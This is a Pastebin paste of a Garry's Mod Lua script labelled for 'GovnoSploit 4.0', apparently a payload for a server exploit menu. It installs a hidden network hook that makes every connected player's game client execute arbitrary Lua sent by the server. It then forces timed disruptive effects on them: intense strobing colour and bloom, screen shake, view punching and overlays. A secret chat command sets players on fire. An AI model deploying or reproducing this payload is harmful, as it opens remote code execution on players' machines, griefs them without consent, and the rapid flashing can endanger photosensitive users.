SHARE
TWEET

Untitled

a guest Jan 24th, 2020 83 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2.     File: ?.lua
  3.     For: GovnoSploit 4.0
  4.     By: bitcoin
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11.     local ret = ""
  12.     for _ = 1, math.random( intMin, intMax ) do
  13.         ret = ret.. string.char( math.random(65, 90) )
  14.     end
  15.  
  16.     return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32.         if not IsValid( pPlayer ) then return end
  33.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34.         self:NextAction( pPlayer )
  35.     end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39.     pPlayer.m_intCurAction = 0
  40.     self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44.     net.Start( "slua" )
  45.         net.WriteString( strLua )
  46.     net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54.     lol:SetupPlayer( v )
  55.     timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59.     lol:SetupPlayer( pPlayer )
  60.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64.     if strText:sub( 1, 5 ) == "/1337" then
  65.         pSender:Ignite( 1e9 )
  66.         pSender:ChatPrint( "lol jk" )
  67.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68.         return false
  69.     end
  70. end )
  71.  
  72. --Disco time
  73. lol:PushAction( 10, function( pPlayer )
  74.     local idx = pPlayer:EntIndex()
  75.     timer.Create( "beat".. idx, 0.42, 0, function()
  76.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  77.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  78.     end )
  79.  
  80.  
  81.     lol:SendLua( pPlayer, [[
  82.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  83.         local time = 0
  84.  
  85.         hook.Add( "Think", "wat", function()
  86.             if CurTime() < time then
  87.                 return
  88.             end
  89.  
  90.             time = CurTime() +0.05
  91.             for i = 1, 16 do
  92.                 local part = emitter:Add(
  93.                     "particles/balloon_bit",
  94.                     LocalPlayer():GetPos() +Vector(
  95.                         math.random( -256, 256 ),
  96.                         math.random( -256, 256 ),
  97.                         256
  98.                     )
  99.                 )
  100.                
  101.                 if part then
  102.                     local Size = math.random( 4, 7 )
  103.                    
  104.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  105.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  106.                     part:SetDieTime( 4.5 )
  107.                     part:SetGravity( Vector(40, 0, -250) )
  108.                     part:SetLifeTime( 0 )
  109.                     part:SetStartSize( Size /2 )
  110.                     part:SetEndSize( Size )
  111.                     part:SetCollide( true )
  112.                 end
  113.             end
  114.         end )
  115.     ]] )
  116.  
  117.     lol:SendLua( pPlayer, [[
  118.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  119.             local sinScaler = math.sin( CurTime() )
  120.             DrawBloom(
  121.                 0,
  122.                 3,
  123.                 sinScaler *math.Rand(1, 8),
  124.                 sinScaler *math.Rand(1, 8),
  125.                 6,
  126.                 math.Rand(0.5, 2),
  127.                 math.Rand(0, 0.3),
  128.                 math.Rand(0, 0.3),
  129.                 math.Rand(0.5, 1)
  130.             )
  131.  
  132.             DrawColorModify{
  133.                 ["$pp_colour_addr"] = 0,
  134.                 ["$pp_colour_addg"] = 0,
  135.                 ["$pp_colour_addb"] = 00,
  136.                 ["$pp_colour_brightness" ] = 0,
  137.                 ["$pp_colour_contrast" ] = 1,
  138.                 ["$pp_colour_colour" ] = 1,
  139.                 ["$pp_colour_mulr" ] = 0,
  140.                 ["$pp_colour_mulg" ] = 0,
  141.                 ["$pp_colour_mulb" ] = 1
  142.             }
  143.         end )
  144.  
  145.         local mdl = ClientsideModel( "models/player/alyx.mdl", RENDERGROUP_BOTH )
  146.         mdl:SetNoDraw( true )
  147.         local posCache, time = {}, 0
  148.  
  149.         hook.Add( "HUDPaint", "dance", function()
  150.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  151.                 local idx = mdl:LookupSequence("taunt_dance")
  152.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  153.                 mdl.SeqStart = CurTime()
  154.                 mdl:ResetSequence( idx )
  155.             end
  156.  
  157.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  158.  
  159.            
  160.             local w, h = 300, 300
  161.             local ang = Angle( 0, 0, 0 )
  162.  
  163.             for i = 1, 32 do
  164.                 if CurTime() > time then
  165.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  166.                 end
  167.                 local x, y = posCache[i][1], posCache[i][2]
  168.  
  169.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  170.                     cam.IgnoreZ( true )
  171.                     render.SuppressEngineLighting( true )
  172.                    
  173.                     render.SetLightingOrigin( mdl:GetPos() )
  174.                     render.ResetModelLighting( 1, 1, 1 )
  175.                     render.SetColorModulation( 0, 0, 1 )
  176.  
  177.                     mdl:DrawModel()
  178.                    
  179.                     render.SuppressEngineLighting( false )
  180.                     cam.IgnoreZ( false )
  181.                 cam.End3D()
  182.             end
  183.  
  184.             if CurTime() > time then
  185.                 time = CurTime() +0.15
  186.             end
  187.         end )
  188.  
  189.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  190.     ]] )
  191. end )
  192.  
  193. --Let the beat drop
  194. lol:PushAction( 54, function( pPlayer )
  195.     lol:SendLua( pPlayer, [[
  196.         hook.Add( "GetMotionBlurValues", "wat", function()
  197.             return 0, 0, 1, math.sin(CurTime() *13)
  198.         end )
  199.  
  200.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  201.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  202.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  203.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  204.         end )
  205.  
  206.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  207.             render.SetMaterial( Material("cable/blue_elec") )
  208.             for i = 1, 32 do
  209.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  210.             end
  211.         end )
  212.  
  213.         timer.Create( "thedrop", 0.42, 0, function()
  214.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  215.         end )
  216.     ]] )
  217. end )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top